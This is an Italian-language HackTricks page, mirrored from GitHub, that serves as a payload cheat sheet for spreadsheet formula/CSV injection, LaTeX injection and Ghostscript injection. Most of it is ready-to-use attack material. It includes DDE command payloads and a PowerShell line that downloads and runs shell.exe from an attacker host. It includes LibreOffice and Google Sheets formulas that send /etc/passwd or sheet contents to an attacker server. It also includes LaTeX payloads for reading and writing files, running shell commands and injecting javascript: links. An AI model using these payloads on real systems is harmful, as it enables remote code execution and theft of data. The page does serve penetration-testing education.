mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
218 lines
12 KiB
Markdown
218 lines
12 KiB
Markdown
# Iniezione di Formula/CSV/Doc/LaTeX/GhostScript
|
|
|
|
<details>
|
|
|
|
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Altri modi per supportare HackTricks:
|
|
|
|
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
**Try Hard Security Group**
|
|
|
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
|
|
***
|
|
|
|
## Iniezione di Formula
|
|
|
|
### Informazioni
|
|
|
|
Se il tuo **input** viene **riflesso** all'interno di **file CSV** (o di qualsiasi altro file che probabilmente verrà aperto da **Excel**), potresti essere in grado di inserire **formule Excel** che verranno **eseguite** quando l'utente **apre il file** o quando l'utente **clicca su qualche link** all'interno del foglio di Excel.
|
|
|
|
{% hint style="danger" %}
|
|
Oggi **Excel avviserà** (più volte) l'**utente quando qualcosa viene caricato da fuori Excel** per evitare che compia azioni dannose. Pertanto, è necessario applicare uno sforzo speciale sull'Ingegneria Sociale per il payload finale.
|
|
{% endhint %}
|
|
|
|
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
|
```
|
|
DDE ("cmd";"/C calc";"!A0")A0
|
|
@SUM(1+9)*cmd|' /C calc'!A0
|
|
=10+20+cmd|' /C calc'!A0
|
|
=cmd|' /C notepad'!'A1'
|
|
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
|
|
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
|
|
```
|
|
### Iperlink
|
|
|
|
**L'esempio seguente è molto utile per esfiltrare contenuti dal foglio di calcolo finale di Excel e per effettuare richieste a posizioni arbitrarie. Ma richiede che l'utente faccia clic sul link (e accetti i promemoria di avviso).**
|
|
|
|
L'esempio seguente è stato preso da [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
|
|
|
Immagina una violazione della sicurezza in un sistema di gestione dei record degli studenti sfruttata attraverso un attacco di iniezione CSV. L'intenzione principale dell'attaccante è compromettere il sistema utilizzato dagli insegnanti per gestire i dettagli degli studenti. Il metodo coinvolge l'attaccante nell'iniettare un payload dannoso nell'applicazione, specificamente inserendo formule dannose nei campi destinati ai dettagli degli studenti. L'attacco si sviluppa come segue:
|
|
|
|
1. **Iniezione del Payload Dannoso:**
|
|
* L'attaccante invia un modulo di dettagli degli studenti ma include una formula comunemente usata nei fogli di calcolo (ad esempio, `=HYPERLINK("<malicious_link>","Clicca qui")`).
|
|
* Questa formula è progettata per creare un hyperlink, ma punta a un server dannoso controllato dall'attaccante.
|
|
2. **Esportazione dei Dati Compromessi:**
|
|
* Gli insegnanti, ignari del compromesso, utilizzano la funzionalità dell'applicazione per esportare i dati in un file CSV.
|
|
* Il file CSV, una volta aperto, contiene ancora il payload dannoso. Questo payload appare come un hyperlink cliccabile nel foglio di calcolo.
|
|
3. **Scatenare l'Attacco:**
|
|
* Un insegnante fa clic sull'hyperlink, credendo che faccia parte legittima dei dettagli dello studente.
|
|
* Cliccando, i dati sensibili (potenzialmente inclusi dettagli dal foglio di calcolo o dal computer dell'insegnante) vengono trasmessi al server dell'attaccante.
|
|
4. **Registrazione dei Dati:**
|
|
* Il server dell'attaccante riceve e registra i dati sensibili inviati dal computer dell'insegnante.
|
|
* L'attaccante può quindi utilizzare questi dati per vari scopi maliziosi, compromettendo ulteriormente la privacy e la sicurezza degli studenti e dell'istituzione.
|
|
|
|
### RCE
|
|
|
|
**Controlla il** [**post originale**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **per ulteriori dettagli.**
|
|
|
|
In configurazioni specifiche o versioni più vecchie di Excel, una funzionalità chiamata Dynamic Data Exchange (DDE) può essere sfruttata per eseguire comandi arbitrari. Per sfruttare questo, le seguenti impostazioni devono essere abilitate:
|
|
|
|
* Navigare su File → Opzioni → Centro protezione → Impostazioni del Centro protezione → Contenuto esterno, e abilitare **Avvio server Dynamic Data Exchange**.
|
|
|
|
Quando un foglio di calcolo con il payload dannoso viene aperto (e se l'utente accetta i warning), il payload viene eseguito. Ad esempio, per avviare l'applicazione della calcolatrice, il payload sarebbe:
|
|
```markdown
|
|
`=cmd|' /C calc'!xxx`
|
|
```
|
|
Ulteriori comandi possono essere eseguiti, come ad esempio scaricare ed eseguire un file utilizzando PowerShell:
|
|
```bash
|
|
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
|
|
```
|
|
### Inclusione di File Locale (LFI) in LibreOffice Calc
|
|
|
|
LibreOffice Calc può essere utilizzato per leggere file locali ed esfiltrare dati. Ecco alcuni metodi:
|
|
|
|
* Leggere la prima riga dal file locale `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
|
|
* Esfiltrare i dati letti a un server controllato dall'attaccante: `=WEBSERVICE(CONCATENATE("http://<IP dell'attaccante>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
|
* Esfiltrare più di una riga: `=WEBSERVICE(CONCATENATE("http://<IP dell'attaccante>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
|
* Esfiltrazione DNS (invio dei dati letti come query DNS a un server DNS controllato dall'attaccante): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<dominio dell'attaccante>"))`
|
|
|
|
### Google Sheets per l'Esfiltrazione Dati Out-of-Band (OOB)
|
|
|
|
Google Sheets offre funzioni che possono essere sfruttate per l'esfiltrazione dati OOB:
|
|
|
|
* **CONCATENATE**: Concatena stringhe insieme - `=CONCATENATE(A2:E2)`
|
|
* **IMPORTXML**: Importa dati da tipi di dati strutturati - `=IMPORTXML(CONCAT("http://<IP dell'attaccante:Porta>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
|
* **IMPORTFEED**: Importa feed RSS o ATOM - `=IMPORTFEED(CONCAT("http://<IP dell'attaccante:Porta>//123.txt?v=", CONCATENATE(A2:E2)))`
|
|
* **IMPORTHTML**: Importa dati da tabelle HTML o liste - `=IMPORTHTML (CONCAT("http://<IP dell'attaccante:Porta>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
|
* **IMPORTRANGE**: Importa un intervallo di celle da un'altra cartella di lavoro - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[ID del Foglio]", "foglio1!A2:E2")`
|
|
* **IMAGE**: Inserisce un'immagine in una cella - `=IMAGE("https://<IP dell'attaccante:Porta>/images/srpr/logo3w.png")`
|
|
|
|
## Iniezione LaTeX
|
|
|
|
Di solito i server che si trovano su Internet che **convertire il codice LaTeX in PDF** usano **`pdflatex`**.\
|
|
Questo programma utilizza 3 attributi principali per (dis)abilitare l'esecuzione dei comandi:
|
|
|
|
* **`--no-shell-escape`**: **Disabilita** il costrutto `\write18{comando}`, anche se è abilitato nel file texmf.cnf.
|
|
* **`--shell-restricted`**: Come `--shell-escape`, ma **limitato** a un insieme 'sicuro' di **comandi predefiniti** (\*\*Su Ubuntu 16.04 l'elenco si trova in `/usr/share/texmf/web2c/texmf.cnf`).
|
|
* **`--shell-escape`**: **Abilita** il costrutto `\write18{comando}`. Il comando può essere qualsiasi comando shell. Questo costrutto è normalmente disabilitato per motivi di sicurezza.
|
|
|
|
Tuttavia, ci sono altri modi per eseguire comandi, quindi per evitare RCE è molto importante utilizzare `--shell-restricted`.
|
|
|
|
### Leggi file <a href="#read-file" id="read-file"></a>
|
|
|
|
Potresti aver bisogno di regolare l'iniezione con wrapper come \[ o $.
|
|
```bash
|
|
\input{/etc/passwd}
|
|
\include{password} # load .tex file
|
|
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
|
|
\usepackage{verbatim}
|
|
\verbatiminput{/etc/passwd}
|
|
```
|
|
#### Leggi file su una singola riga
|
|
```bash
|
|
\newread\file
|
|
\openin\file=/etc/issue
|
|
\read\file to\line
|
|
\text{\line}
|
|
\closein\file
|
|
```
|
|
#### Leggi file a più righe
|
|
```bash
|
|
\newread\file
|
|
\openin\file=/etc/passwd
|
|
\loop\unless\ifeof\file
|
|
\read\file to\fileline
|
|
\text{\fileline}
|
|
\repeat
|
|
\closein\file
|
|
```
|
|
### Scrivere file <a href="#write-file" id="write-file"></a>
|
|
```bash
|
|
\newwrite\outfile
|
|
\openout\outfile=cmd.tex
|
|
\write\outfile{Hello-world}
|
|
\closeout\outfile
|
|
```
|
|
### Esecuzione del comando <a href="#command-execution" id="command-execution"></a>
|
|
|
|
L'input del comando verrà reindirizzato su stdin, utilizzare un file temporaneo per ottenerlo.
|
|
```bash
|
|
\immediate\write18{env > output}
|
|
\input{output}
|
|
|
|
\input{|"/bin/hostname"}
|
|
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
|
|
|
|
# allowed mpost command RCE
|
|
\documentclass{article}\begin{document}
|
|
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
|
|
\end{document}
|
|
|
|
# If mpost is not allowed there are other commands you might be able to execute
|
|
## Just get the version
|
|
\input{|"bibtex8 --version > /tmp/b.tex"}
|
|
## Search the file pdfetex.ini
|
|
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
|
|
## Get env var value
|
|
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
|
|
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
|
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
|
```
|
|
Se si verifica un errore LaTex, considera di utilizzare base64 per ottenere il risultato senza caratteri non validi.
|
|
```bash
|
|
\immediate\write18{env | base64 > test.tex}
|
|
\input{text.tex}
|
|
```
|
|
|
|
```bash
|
|
\input|ls|base4
|
|
\input{|"/bin/hostname"}
|
|
```
|
|
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
|
|
|
Da [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|
```bash
|
|
\url{javascript:alert(1)}
|
|
\href{javascript:alert(1)}{placeholder}
|
|
```
|
|
## Iniezione di Ghostscript
|
|
|
|
**Verifica** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
|
|
|
## Riferimenti
|
|
|
|
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
|
|
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
|
|
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
|
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
|
|
|
**Try Hard Security Group**
|
|
|
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Altri modi per supportare HackTricks:
|
|
|
|
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|